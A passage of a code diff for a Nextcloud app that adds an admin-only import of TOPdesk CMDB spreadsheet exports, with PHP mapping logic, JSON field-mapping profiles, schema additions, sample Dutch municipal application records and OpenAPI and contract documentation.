resolveMunicipality(array $options): array { + $uuid = trim((string)($options['municipalityUuid'] ?? '')); + if ($uuid !== '') { + return $this->municipalityByUuid(uuid: $uuid); + } + + $warnings = []; + $values = ['municipalityName' => trim((string)($options['municipalityName'] ?? ''))]; + $mapped = $this->map(target: 'municipality', values: $values, rowNumber: 0, warnings: $warnings); + $name = trim((string)preg_replace('/\s+/u', ' ', (string)($mapped['data']['name'] ?? ''))); + if ($mapped['missing'] !== [] || $name === '') { + throw new CmdbImportException(errorCode: CmdbImportException::MUNICIPALITY_REQUIRED, message: 'No municipality given'); + } + + $key = self::normaliseName(name: $name); + foreach ($this->organisationsOfType(type: 'Municipality') as $organisation) { + if (self::normaliseName(name: (string)($organisation['name'] ?? '')) === $key) { + return ['uuid' => $organisation['uuid'], 'name' => (string)$organisation['name'], 'created' => false]; + } + } + + $data = $mapped['data']; + $data['name'] = $name; + $created = $this->save(schemaKey: 'organization', data: $data, uuid: null); + + return ['uuid' => $created, 'name' => $name, 'created' => true]; + }//end resolveMunicipality() + + /** + * Resolve a municipality uuid, which must be an organisation of type Municipality. + * + * @param string $uuid The organisation uuid. + * + * @return array{uuid: string, name: string, created: bool} + * + * @throws CmdbImportException MUNICIPALITY_INVALID. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function municipalityByUuid(string $uuid): array { + $coordinates = $this->coordinates(); + $organisation = null; + try { + $organisation = $coordinates['objectService']->find( + id: $uuid, + register: $coordinates['register'], + schema: $coordinates['organization'], + _rbac: false, + _multitenancy: false + ); + } catch (Throwable $e) { + // OpenRegister throws DoesNotExistException for an unknown uuid. + $organisation = null; + } + + $data = []; + if ($organisation !== null) { + $data = $organisation->getObject(); + } + + if ($organisation === null || ($data['type'] ?? null) !== 'Municipality') { + throw new CmdbImportException( + errorCode: CmdbImportException::MUNICIPALITY_INVALID, + message: 'The municipality uuid is not an organisation of type Municipality' + ); + } + + return ['uuid' => (string)$organisation->getUuid(), 'name' => (string)($data['name'] ?? ''), 'created' => false]; + }//end municipalityByUuid() + + /** + * Suppliers by normalised name, loaded once per run. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function suppliers(): array { + if ($this->suppliers === null) { + $this->suppliers = []; + foreach ($this->organisationsOfType(type: 'Supplier') as $organisation) { + $key = self::normaliseName(name: (string)($organisation['name'] ?? '')); + if ($key !== '' && isset($this->suppliers[$key]) === false) { + $this->suppliers[$key] = $organisation['uuid']; + } + } + } + + return $this->suppliers; + }//end suppliers() + + /** + * Every organisation of a type, as uuid and name. + * + * @param string $type Municipality or Supplier. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function organisationsOfType(string $type): array { + $coordinates = $this->coordinates(); + $found = []; + $offset = 0; + do { + $page = $coordinates['objectService']->searchObjects( + query: [ + '@self' => ['register' => $coordinates['register'], 'schema' => $coordinates['organization']], + 'type' => $type, + '_limit' => self::PAGE_SIZE, + '_offset' => $offset, + ], + _rbac: false, + _multitenancy: false + ); + if (is_array($page) === false) { + $page = []; + } + + foreach ($page as $entity) { + $data = $entity->getObject(); + // The filter is checked again: a filter OpenRegister cannot apply must not widen the match. + if (($data['type'] ?? null) === $type && $entity->getUuid() !== null) { + $found[] = ['uuid' => (string)$entity->getUuid(), 'name' => ($data['name'] ?? '')]; + } + } + + $offset += self::PAGE_SIZE; + $pageSize = count($page); + } while ($pageSize === self::PAGE_SIZE); + + return $found; + }//end organisationsOfType() + + /** + * The one object matching every filter, or null. + * + * @param string $schemaKey The coordinates key of the schema. + * @param array $filters Field => exact value. + * + * @return object|null The entity (ObjectEntityInterface). + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function findOne(string $schemaKey, array $filters): ?object { + $coordinates = $this->coordinates(); + $results = $coordinates['objectService']->searchObjects( + query: array_merge( + ['@self' => ['register' => $coordinates['register'], 'schema' => $coordinates[$schemaKey]], '_limit' => 10], + $filters + ), + _rbac: false, + _multitenancy: false + ); + if (is_array($results) === false) { + return null; + } + + foreach ($results as $entity) { + $data = $entity->getObject(); + $matches = true; + foreach ($filters as $field => $value) { + if (self::relationUuid(value: ($data[$field] ?? null)) !== $value) { + $matches = false; + break; + } + } + + if ($matches === true) { + return $entity; + } + } + + return null; + }//end findOne() + + /** + * Save an object through OpenRegister and return its uuid. + * + * @param string $schemaKey The coordinates key of the schema. + * @param array $data The object data. + * @param string|null $uuid The uuid to update, or null to create. + * + * @return string The uuid. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function save(string $schemaKey, array $data, ?string $uuid): string { + $coordinates = $this->coordinates(); + $entity = $coordinates['objectService']->saveObject( + object: $data, + register: $coordinates['register'], + schema: $coordinates[$schemaKey], + uuid: $uuid, + _rbac: false, + _multitenancy: false + ); + + return (string)$entity->getUuid(); + }//end save() + + /** + * Resolve OpenRegister's mapping engine. + * + * @return object The engine, with `mapRow(array, array, int): array`. + * + * @throws CmdbImportException MAPPING_UNAVAILABLE. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + private function resolveEngine(): object { + $class = static::ENGINE_CLASS; + try { + if ($this->container->has($class) === true) { + $engine = $this->container->get($class); + if (is_object($engine) === true && method_exists($engine, 'mapRow') === true) { + return $engine; + } + } + } catch (Throwable $e) { + // Fall through to the class check below. + $engine = null; + } + + if (class_exists($class) === true) { + $engine = new $class(); + if (method_exists($engine, 'mapRow') === true) { + return $engine; + } + } + + throw new CmdbImportException(errorCode: CmdbImportException::MAPPING_UNAVAILABLE, message: 'OpenRegister MappingEngine is not available'); + }//end resolveEngine() + + /** + * Resolve OpenRegister and the register and schema ids, failing closed. + * + * @return array{objectService: ObjectServiceInterface, register: int, module: int, organization: int, usage: int, contactPerson: int} + * + * @throws CmdbImportException NOT_CONFIGURED when OpenRegister or a schema is not configured. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + private function resolveCoordinates(): array { + try { + $objectService = $this->container->get(ObjectServiceInterface::class); + } catch (Throwable $e) { + $objectService = null; + } + + $register = (int)($this->settingsService->getVoorzieningenConfig()['register'] ?? 0); + $schemas = []; + foreach (['module', 'organization', 'usage', 'contactPerson'] as $type) { + $schemas[$type] = (int)($this->settingsService->getSchemaIdForObjectType($type) ?? 0); + } + + if ($objectService instanceof ObjectServiceInterface === false || $register <= 0 || in_array(0, $schemas, true) === true) { + throw new CmdbImportException( + errorCode: CmdbImportException::NOT_CONFIGURED, + message: 'OpenRegister or the stackiq register and schemas are not configured' + ); + } + + return array_merge(['objectService' => $objectService, 'register' => $register], $schemas); + }//end resolveCoordinates() + + /** + * The coordinates of the current run. + * + * @return array{objectService: ObjectServiceInterface, register: int, module: int, organization: int, usage: int, contactPerson: int} + * + * @throws CmdbImportException NOT_CONFIGURED. + */ + private function coordinates(): array { + if ($this->coordinates === null) { + $this->coordinates = $this->resolveCoordinates(); + } + + return $this->coordinates; + }//end coordinates() + + /** + * The operation id the client chose, or a new one. + * + * @param array $options The import options. + * + * @return string + */ + private function operationIdFrom(array $options): string { + $operationId = $options['operationId'] ?? null; + if (is_string($operationId) === true && preg_match(self::OPERATION_ID_PATTERN, $operationId) === 1) { + return $operationId; + } + + return 'cmdb-' . bin2hex(random_bytes(16)); + }//end operationIdFrom() + + /** + * Clear the run caches. + * + * @return void + */ + private function resetRun(): void { + $this->engine = null; + $this->coordinates = null; + $this->suppliers = null; + $this->seenKeys = []; + $this->contactUids = []; + $this->contactPersons = []; + }//end resetRun() + + /** + * The source column of an owner target, for warnings. + * + * @param string $target businessOwner. + * + * @return string + */ + private function ownerColumn(string $target): string { + foreach (($this->profile->pack(target: $target)['fieldMappings'] ?? []) as $mapping) { + if (($mapping['target'] ?? null) === 'name') { + return (string)($mapping['source'] ?? $target); + } + } + + return $target; + }//end ownerColumn() + + /** + * An exception message that is safe for the report. + * + * Owner steps get no detail, so no contact data can leak into the report. + * + * @param string $step The step that failed. + * @param Throwable $e The exception. + * + * @return string + */ + private function safeMessage(string $step, Throwable $e): string { + if ($step === 'owners') { + return ''; + } + + return mb_substr(trim($e->getMessage()), 0, 300); + }//end safeMessage() + + /** + * Split a TOPdesk person name ("Achternaam, Voornaam"). + * + * @param string $name The name. + * + * @return array{voornaam: string, achternaam: string} + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + public static function splitPersonName(string $name): array { + $name = trim((string)preg_replace('/\s+/u', ' ', $name)); + if (str_contains($name, ',') === true) { + [$last, $first] = array_map('trim', explode(',', $name, 2)); + return ['voornaam' => $first, 'achternaam' => $last]; + } + + return ['voornaam' => '', 'achternaam' => $name]; + }//end splitPersonName() + + /** + * Normalise an organisation name for matching: trim, collapse whitespace, lower case. + * + * @param string $name The name. + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public static function normaliseName(string $name): string { + return mb_strtolower(trim((string)preg_replace('/\s+/u', ' ', $name))); + }//end normaliseName() + + /** + * A relation value (uuid string, or array/object with uuid or id) as a string. + * + * @param mixed $value The stored value. + * + * @return string|null + */ + private static function relationUuid(mixed $value): ?string { + if (is_scalar($value) === true) { + return (string)$value; + } + + if (is_array($value) === true) { + $uuid = ($value['uuid'] ?? ($value['id'] ?? null)); + if (is_scalar($uuid) === true) { + return (string)$uuid; + } + } + + return null; + }//end relationUuid() + + /** + * Whether a stored value equals a mapped value. + * + * @param mixed $stored The stored value. + * @param mixed $value The mapped value. + * + * @return bool + */ + private static function sameValue(mixed $stored, mixed $value): bool { + if (is_scalar($value) === true && (is_scalar($stored) === true || is_array($stored) === true)) { + return self::relationUuid(value: $stored) === (string)$value; + } + + return $stored === $value; + }//end sameValue() + + /** + * Whether a stored value counts as empty. + * + * @param mixed $value The stored value. + * + * @return bool + */ + private static function isEmptyValue(mixed $value): bool { + return $value === null || $value === '' || $value === []; + }//end isEmptyValue() +}//end class diff --git a/lib/Settings/cmdb-import/topdesk-business-owner.json b/lib/Settings/cmdb-import/topdesk-business-owner.json new file mode 100644 index 000000000..f987d51ee --- /dev/null +++ b/lib/Settings/cmdb-import/topdesk-business-owner.json @@ -0,0 +1,12 @@ +{ + "id": "stackiq-topdesk-business-owner", + "name": "TOPdesk CMDB export to business owner identity", + "description": "The application owner (Applicatie Eigenaar (Persoon)); the value may be a function instead of a name and is used as the display name either way. The import resolves it in Nextcloud Contacts by exact display name and links a contactPerson of the municipality as usage.businessOwner, with the owner's function as its role. No other person column is read.", + "sourceFormat": "excel", + "version": "2.0.0", + "fieldMappings": [ + { "source": "Applicatie Eigenaar (Persoon)", "target": "name", "required": true, "transform": { "type": "trim" } }, + { "source": "Applicatie Eigenaar (Functie)", "target": "role", "transform": { "type": "trim" } } + ], + "idStrategy": { "type": "generate" } +} diff --git a/lib/Settings/cmdb-import/topdesk-manufacturer.json b/lib/Settings/cmdb-import/topdesk-manufacturer.json new file mode 100644 index 000000000..49fd3ad0c --- /dev/null +++ b/lib/Settings/cmdb-import/topdesk-manufacturer.json @@ -0,0 +1,12 @@ +{ + "id": "stackiq-topdesk-manufacturer", + "name": "TOPdesk CMDB export to stackiq supplier organisation", + "description": "The Vendor column (the maker of the software) becomes one organisation of type Supplier per distinct name. An empty Vendor means the row has no provider. Leverancier and Hostingpartij are not read.", + "sourceFormat": "excel", + "version": "2.0.0", + "fieldMappings": [ + { "source": "Vendor", "target": "name", "required": true, "transform": { "type": "trim" } } + ], + "defaults": { "type": "Supplier", "status": "Active" }, + "idStrategy": { "type": "generate" } +} diff --git a/lib/Settings/cmdb-import/topdesk-module.json b/lib/Settings/cmdb-import/topdesk-module.json new file mode 100644 index 000000000..e5580d973 --- /dev/null +++ b/lib/Settings/cmdb-import/topdesk-module.json @@ -0,0 +1,43 @@ +{ + "id": "stackiq-topdesk-module", + "name": "TOPdesk CMDB export to stackiq module", + "description": "One application row of a CMDB sheet becomes a stackiq module. A mapping marked required that fails skips the row; any other failing mapping drops that field with a warning. Nickname and Roepnaam both feed shortDescription; Roepnaam wins when both are filled.", + "sourceFormat": "excel", + "version": "2.0.0", + "fieldMappings": [ + { "source": "Applicatie Naam", "target": "name", "required": true, "transform": { "type": "trim" } }, + { "source": "APPID", "target": "externalNumber", "required": true, "transform": { "type": "trim" } }, + { "source": "Applicatie Code", "target": "externalId", "transform": { "type": "trim" } }, + { "source": "Nickname", "target": "shortDescription", "transform": { "type": "trim" } }, + { "source": "Roepnaam", "target": "shortDescription", "transform": { "type": "trim" } }, + { "source": "Functionele Omschrijving", "target": "longDescription", "transform": { "type": "trim" } }, + { + "source": "Applicatiesoort", + "target": "cloudDienstverleningsmodel", + "transform": { + "type": "lookup", + "map": { + "Saas": ["SaaS"], "SaaS": ["SaaS"], "SAAS": ["SaaS"], "saas": ["SaaS"], + "Paas": ["PaaS"], "PaaS": ["PaaS"], "PAAS": ["PaaS"], + "Iaas": ["IaaS"], "IaaS": ["IaaS"], "IAAS": ["IaaS"], + "On-premise": ["On-premises (self-managed)"], "On-premises": ["On-premises (self-managed)"], "On premise": ["On-premises (self-managed)"] + } + } + }, + { + "source": "BNN Classificatie", + "target": "bbnLevel", + "transform": { + "type": "lookup", + "map": { + "BBN1": "BBN1", "BBN 1": "BBN1", "bbn1": "BBN1", "bbn 1": "BBN1", "BNN1": "BBN1", "BNN 1": "BBN1", + "BBN2": "BBN2", "BBN 2": "BBN2", "bbn2": "BBN2", "bbn 2": "BBN2", "BNN2": "BBN2", "BNN 2": "BBN2", + "BBN3": "BBN3", "BBN 3": "BBN3", "bbn3": "BBN3", "bbn 3": "BBN3", "BNN3": "BBN3", "BNN 3": "BBN3" + } + } + }, + { "source": "Datum", "target": "externalCreatedAt", "transform": { "type": "date", "sourceFormat": "!Y-m-d", "targetFormat": "Y-m-d" } }, + { "source": "Referentie datum wijziging", "target": "externalModifiedAt", "transform": { "type": "date", "sourceFormat": "!Y-m-d", "targetFormat": "Y-m-d" } } + ], + "idStrategy": { "type": "generate" } +} diff --git a/lib/Settings/cmdb-import/topdesk-municipality.json b/lib/Settings/cmdb-import/topdesk-municipality.json new file mode 100644 index 000000000..eb16fe829 --- /dev/null +++ b/lib/Settings/cmdb-import/topdesk-municipality.json @@ -0,0 +1,12 @@ +{ + "id": "stackiq-topdesk-municipality", + "name": "CMDB import options to stackiq municipality", + "description": "Maps the import options row (municipalityName), not a sheet row, to the consuming organisation of type Municipality.", + "sourceFormat": "excel", + "version": "1.0.0", + "fieldMappings": [ + { "source": "municipalityName", "target": "name", "required": true, "transform": { "type": "trim" } } + ], + "defaults": { "type": "Municipality", "status": "Active" }, + "idStrategy": { "type": "generate" } +} diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json new file mode 100644 index 000000000..88ddf79de --- /dev/null +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -0,0 +1,44 @@ +{ + "id": "topdesk-cmdb", + "name": "TOPdesk CMDB export", + "version": "2.0.0", + "description": "How stackiq reads a TOPdesk CMDB export (xlsx): the two CMDB sheets, the key and required columns, date and id columns, values that mean empty, the pack per target and the limits. Columns that neither this profile nor a pack names are never read.", + "maxFileBytes": 10485760, + "maxRowsPerSheet": 10000, + "sheets": [ + { + "name": "Onbeh Applicaties CMDB", + "constants": { "Beheer": "Beheer geregeld: nee" }, + "absentColumns": ["Nickname"] + }, + { + "name": "Beheerde Applicaties CMDB", + "constants": { "Beheer": "Beheer geregeld: ja" } + } + ], + "keyColumn": "APPID", + "nameColumn": "Applicatie Naam", + "requiredColumns": ["APPID", "Applicatie Naam"], + "dateColumns": ["Datum", "Referentie datum wijziging", "End-of-Life Functioneel"], + "idColumns": ["APPID"], + "emptyValues": { + "BNN Classificatie": ["NB"], + "End-of-Life Functioneel": ["49675"] + }, + "externalKeyPrefix": "topdesk", + "packs": { + "module": "topdesk-module.json", + "manufacturer": "topdesk-manufacturer.json", + "municipality": "topdesk-municipality.json", + "usage": "topdesk-usage.json", + "businessOwner": "topdesk-business-owner.json" + }, + "createOnly": { + "module": { "type": "Application" }, + "usage": ["interneAnnotation"] + }, + "neverWritten": { + "module": ["publicationDate", "depublicationDate"] + }, + "missingRecords": ["keep"] +} diff --git a/lib/Settings/cmdb-import/topdesk-usage.json b/lib/Settings/cmdb-import/topdesk-usage.json new file mode 100644 index 000000000..12ae459fa --- /dev/null +++ b/lib/Settings/cmdb-import/topdesk-usage.json @@ -0,0 +1,39 @@ +{ + "id": "stackiq-topdesk-usage", + "name": "TOPdesk CMDB export to stackiq usage", + "description": "The usage that links the application to the municipality. The internal note records whether maintenance is arranged (the sheet the row came from), the cluster and the owner's department. An unknown status or TIME value drops the field with a warning.", + "sourceFormat": "excel", + "version": "2.0.0", + "fieldMappings": [ + { + "source": "Applicatie Status", + "target": "status", + "transform": { + "type": "lookup", + "map": { + "In productie": "In production", + "In voorraad": "Planned", + "In ontwikkeling": "Acquisition", + "Uit te faseren": "To be phased out", + "Uitgefaseerd": "Phased out" + } + } + }, + { + "source": "Classificatie", + "target": "timeClassification", + "transform": { + "type": "lookup", + "map": { + "Tolerate": "Tolerate", "Tolereren": "Tolerate", + "Invest": "Invest", "Investeren": "Invest", + "Migrate": "Migrate", "Migreren": "Migrate", + "Eliminate": "Eliminate", "Elimineren": "Eliminate" + } + } + }, + { "source": "End-of-Life Functioneel", "target": "startDateOutPhased", "transform": { "type": "date", "sourceFormat": "!Y-m-d", "targetFormat": "Y-m-d" } }, + { "source": "Beheer", "target": "interneAnnotation", "transform": { "type": "concat", "fields": ["Cluster", "Applicatie Eigenaar (Afdeling)"], "separator": " / " } } + ], + "idStrategy": { "type": "generate" } +} diff --git a/lib/Settings/register.d/topdesk-cmdb-import.json b/lib/Settings/register.d/topdesk-cmdb-import.json new file mode 100644 index 000000000..1f226ed50 --- /dev/null +++ b/lib/Settings/register.d/topdesk-cmdb-import.json @@ -0,0 +1,109 @@ +{ + "components": { + "schemas": { + "module": { + "version": "0.3.5", + "properties": { + "externalId": { + "type": "string", + "title": "Source id", + "description": "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.", + "maxLength": 100, + "visible": true, + "facetable": false, + "order": 60 + }, + "externalNumber": { + "type": "string", + "title": "Source number", + "description": "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.", + "maxLength": 50, + "visible": true, + "facetable": false, + "order": 61 + }, + "externalKey": { + "type": "string", + "title": "Import key", + "description": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.", + "maxLength": 200, + "visible": true, + "facetable": false, + "table": { + "default": false + }, + "order": 62 + }, + "externalCreatedAt": { + "type": "string", + "format": "date", + "title": "Created in source", + "description": "The date the application was registered in the source system.", + "visible": true, + "facetable": false, + "order": 63 + }, + "externalModifiedAt": { + "type": "string", + "format": "date", + "title": "Changed in source", + "description": "The date the application was last changed in the source system.", + "visible": true, + "facetable": false, + "order": 64 + } + } + } + }, + "objects": [ + { + "@self": { + "register": "stackiq", + "schema": "module", + "slug": "voorbeeld-zaaksysteem", + "version": "0.0.1" + }, + "name": "Voorbeeld Zaaksysteem", + "type": "Application", + "longDescription": "Registreert en volgt zaken van intake tot archivering.", + "externalId": "APP-00001", + "externalNumber": "101", + "externalCreatedAt": "2023-07-04", + "externalModifiedAt": "2026-07-29", + "bbnLevel": "BBN2" + }, + { + "@self": { + "register": "stackiq", + "schema": "module", + "slug": "voorbeeld-afsprakenplanner", + "version": "0.0.1" + }, + "name": "Voorbeeld Afsprakenplanner", + "type": "Application", + "longDescription": "Laat inwoners online een afspraak maken bij de balie.", + "externalId": "APP-00002", + "externalNumber": "102", + "externalCreatedAt": "2022-03-16", + "externalModifiedAt": "2026-09-01", + "bbnLevel": "BBN1" + }, + { + "@self": { + "register": "stackiq", + "schema": "module", + "slug": "voorbeeld-belastingapplicatie", + "version": "0.0.1" + }, + "name": "Voorbeeld Belastingapplicatie", + "type": "Application", + "longDescription": "Berekent en verstuurt gemeentelijke belastingaanslagen.", + "externalId": "AIA-00003", + "externalNumber": "103", + "externalCreatedAt": "2024-01-15", + "externalModifiedAt": "2026-05-20", + "bbnLevel": "BBN2" + } + ] + } +} diff --git a/openapi.json b/openapi.json index 9746b7596..f0d63eddc 100644 --- a/openapi.json +++ b/openapi.json @@ -7,5 +7,390 @@ "license": { "name": "agpl" } + }, + "paths": { + "/index.php/apps/stackiq/api/cmdb-import": { + "post": { + "operationId": "cmdbImport-import", + "summary": "Import a TOPdesk CMDB export (xlsx) for one municipality", + "description": "Admin-only, CSRF-protected (requesttoken header or OCS-APIRequest: true). Creates or updates modules, supplier organisations, usages and owner contact persons, matched on topdesk::. See openspec/changes/cmdb-export-import/contract.md.", + "tags": [ + "cmdb-import" + ], + "requestBody": { + "required": true, + "content": { + "multipart/form-data": { + "schema": { + "type": "object", + "required": [ + "cmdbFile" + ], + "properties": { + "cmdbFile": { + "type": "string", + "format": "binary", + "description": "The TOPdesk export, .xlsx, at most 10 MB" + }, + "municipalityUuid": { + "type": "string", + "format": "uuid", + "description": "An existing organization of type Municipality; wins over municipalityName" + }, + "municipalityName": { + "type": "string", + "description": "Name of a Municipality to reuse (same normalised name) or create" + }, + "updateExisting": { + "type": "string", + "enum": [ + "true", + "false" + ], + "default": "true", + "description": "false reports matched rows as skipped (exists)" + }, + "missingRecords": { + "type": "string", + "enum": [ + "keep" + ], + "default": "keep", + "description": "Only keep is accepted; mark and remove are reserved" + }, + "operationId": { + "type": "string", + "pattern": "^cmdb-[A-Za-z0-9-]{8,64}$", + "description": "Progress operation id, readable through GET /api/progress/{operationId}" + } + } + } + } + } + }, + "responses": { + "200": { + "description": "The import report", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportReport" + } + } + } + }, + "400": { + "description": "NO_FILE_UPLOADED or NOT_XLSX", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + }, + "401": { + "description": "Not signed in" + }, + "403": { + "description": "Not a Nextcloud admin" + }, + "412": { + "description": "Missing or invalid CSRF token" + }, + "413": { + "description": "FILE_TOO_LARGE", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + }, + "422": { + "description": "MISSING_RECORDS_UNSUPPORTED, MUNICIPALITY_REQUIRED, MUNICIPALITY_INVALID, NO_SOURCE_SHEET, MISSING_COLUMN or TOO_MANY_ROWS", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + }, + "500": { + "description": "IMPORT_FAILED", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + }, + "503": { + "description": "MAPPING_UNAVAILABLE, READER_UNAVAILABLE or NOT_CONFIGURED", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + } + } + } + }, + "/index.php/apps/stackiq/api/cmdb-import/{operationId}/cancel": { + "post": { + "operationId": "cmdbImport-cancel", + "summary": "Ask a running CMDB import to stop between rows", + "description": "Admin-only, CSRF-protected. No body.", + "tags": [ + "cmdb-import" + ], + "parameters": [ + { + "name": "operationId", + "in": "path", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Cancel requested", + "content": { + "application/json": { + "schema": { + "type": "object", + "required": [ + "success", + "cancelRequested" + ], + "properties": { + "success": { + "type": "boolean" + }, + "cancelRequested": { + "type": "boolean" + } + } + } + } + } + }, + "403": { + "description": "Not a Nextcloud admin" + }, + "404": { + "description": "OPERATION_NOT_FOUND", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/CmdbImportError" + } + } + } + }, + "412": { + "description": "Missing or invalid CSRF token" + } + } + } + } + }, + "components": { + "schemas": { + "CmdbImportReport": { + "type": "object", + "required": [ + "success", + "operationId", + "cancelled", + "municipality", + "summary", + "importWarnings", + "rows" + ], + "properties": { + "success": { + "type": "boolean" + }, + "operationId": { + "type": "string" + }, + "cancelled": { + "type": "boolean" + }, + "municipality": { + "type": "object", + "required": [ + "uuid", + "name", + "created" + ], + "properties": { + "uuid": { + "type": "string" + }, + "name": { + "type": "string" + }, + "created": { + "type": "boolean" + } + } + }, + "summary": { + "type": "object", + "required": [ + "rowsRead", + "processed", + "created", + "updated", + "unchanged", + "skipped", + "failed", + "warnings" + ], + "properties": { + "rowsRead": { + "type": "integer" + }, + "processed": { + "type": "integer" + }, + "created": { + "type": "integer" + }, + "updated": { + "type": "integer" + }, + "unchanged": { + "type": "integer" + }, + "skipped": { + "type": "integer" + }, + "failed": { + "type": "integer" + }, + "warnings": { + "type": "integer" + } + } + }, + "importWarnings": { + "type": "array", + "items": { + "type": "object", + "required": [ + "sheet", + "message" + ], + "properties": { + "sheet": { + "type": "string" + }, + "message": { + "type": "string" + } + } + } + }, + "rows": { + "type": "array", + "items": { + "type": "object", + "required": [ + "sheet", + "row", + "appId", + "name", + "outcome", + "reasons", + "warnings", + "moduleUuid", + "usageUuid" + ], + "properties": { + "sheet": { + "type": "string" + }, + "row": { + "type": "integer" + }, + "appId": { + "type": "string" + }, + "name": { + "type": "string" + }, + "outcome": { + "type": "string", + "enum": [ + "created", + "updated", + "unchanged", + "skipped", + "failed" + ] + }, + "reasons": { + "type": "array", + "items": { + "type": "string" + } + }, + "warnings": { + "type": "array", + "items": { + "type": "string" + } + }, + "moduleUuid": { + "type": "string", + "nullable": true + }, + "usageUuid": { + "type": "string", + "nullable": true + } + } + } + } + } + }, + "CmdbImportError": { + "type": "object", + "required": [ + "success", + "error", + "message", + "details" + ], + "properties": { + "success": { + "type": "boolean", + "enum": [ + false + ] + }, + "error": { + "type": "string" + }, + "message": { + "type": "string" + }, + "details": { + "type": "object", + "additionalProperties": true + } + } + } + } } -} \ No newline at end of file +} diff --git a/openspec/changes/cmdb-export-import/.openspec.yaml b/openspec/changes/cmdb-export-import/.openspec.yaml new file mode 100644 index 000000000..67206a856 --- /dev/null +++ b/openspec/changes/cmdb-export-import/.openspec.yaml @@ -0,0 +1,2 @@ +schema: conduction +created: 2026-10-01 diff --git a/openspec/changes/cmdb-export-import/contract.md b/openspec/changes/cmdb-export-import/contract.md new file mode 100644 index 000000000..628cc39a4 --- /dev/null +++ b/openspec/changes/cmdb-export-import/contract.md @@ -0,0 +1,116 @@ +# Contract: cmdb-export-import + +## Consumers + +- `stackiq` frontend: the "CMDB import" admin-settings section (`src/views/settings/sections/CmdbImport.vue`) is the only caller of the two new endpoints. +- `opencatalogi` and `portaliq` call no new endpoint. They read the objects the import writes through their existing OpenRegister paths. Their interface is the data shape below: `module.publicationDate` for OpenCatalogi, and `usage.consumer` / `usage.module` for Portaliq. Neither gets owner data anonymously: `usage` and `contactPerson` have no public read rule, and a public `module` refers to them by id only. + +Paths are relative to `/index.php/apps/stackiq`. + +## Endpoints + +### `POST /api/cmdb-import` +**Auth**: Nextcloud session of a Nextcloud admin, plus CSRF `requesttoken` (header or form field). No `NoAdminRequired`, no `NoCSRFRequired`. + +**Request:** `multipart/form-data` + +| Field | Type | Required | Default | Meaning | +|---|---|---|---|---| +| `cmdbFile` | file | yes | | the TOPdesk export, `.xlsx`, at most 10 MB | +| `municipalityUuid` | string (uuid) | one of the two | | an existing `organization` of type Municipality | +| `municipalityName` | string | one of the two | | name of a Municipality to reuse (same normalised name) or create | +| `updateExisting` | `true`/`false` | no | `true` | `false` reports matched rows as skipped (`exists`) | +| `missingRecords` | string | no | `keep` | only `keep` is accepted; `mark` and `remove` are reserved | +| `operationId` | string | no | generated | progress operation id, readable through `GET /api/progress/{operationId}`; `cmdb-` followed by 8 to 64 letters, digits or hyphens (for example `cmdb-` plus a uuid v4). Any other value is replaced by a generated id, returned as `operationId` | + +**Response (200):** +```json +{ + "success": true, + "operationId": "cmdb-00000000-0000-0000-0000-000000000000", + "cancelled": false, + "municipality": { "uuid": "00000000-0000-0000-0000-000000000001", "name": "Gemeente Voorbeeldstad", "created": false }, + "summary": { "rowsRead": 2, "processed": 2, "created": 2, "updated": 0, "unchanged": 0, "skipped": 0, "failed": 0, "warnings": 1 }, + "importWarnings": [], + "rows": [ + { + "sheet": "Onbeh Applicaties CMDB", + "row": 2, + "appId": "1234", + "name": "Aangetekend Mailen", + "outcome": "created", + "reasons": [], + "warnings": ["Column \"Applicatiesoort\": Value \"Webapplicatie\" has no mapping and no default is configured"], + "moduleUuid": "00000000-0000-0000-0000-000000000004", + "usageUuid": "00000000-0000-0000-0000-000000000005" + } + ] +} +``` + +`appId` is the row's APPID, the match key (`''` when the row has none). `outcome` is one of `created`, `updated`, `unchanged`, `skipped`, `failed`. `reasons` and `warnings` are translated strings that name columns and values; a formula cell without a cached value gives the warning `Column "": formula without a cached value, read as empty`. They never contain owner names, e-mail addresses or other person data. `summary.rowsRead` counts the non-empty rows in the workbook; `summary.processed` counts the rows in `rows`, which is lower than `rowsRead` only after a cancel. `summary.warnings` counts row warnings; `importWarnings` are not included. + +**Errors:** +| Code | Condition | +|------|-----------| +| 400 | `NO_FILE_UPLOADED`, `NOT_XLSX` | +| 401 | not signed in (Nextcloud) | +| 403 | not a Nextcloud admin (Nextcloud) | +| 412 | missing or invalid CSRF token (Nextcloud) | +| 413 | `FILE_TOO_LARGE` | +| 422 | `MISSING_RECORDS_UNSUPPORTED`, `MUNICIPALITY_REQUIRED`, `MUNICIPALITY_INVALID`, `NO_SOURCE_SHEET`, `MISSING_COLUMN`, `TOO_MANY_ROWS` | +| 500 | `IMPORT_FAILED` (unexpected; generic message, details only in the log) | +| 503 | `MAPPING_UNAVAILABLE`, `READER_UNAVAILABLE`, `NOT_CONFIGURED` | + +Error body: `{"success": false, "error": 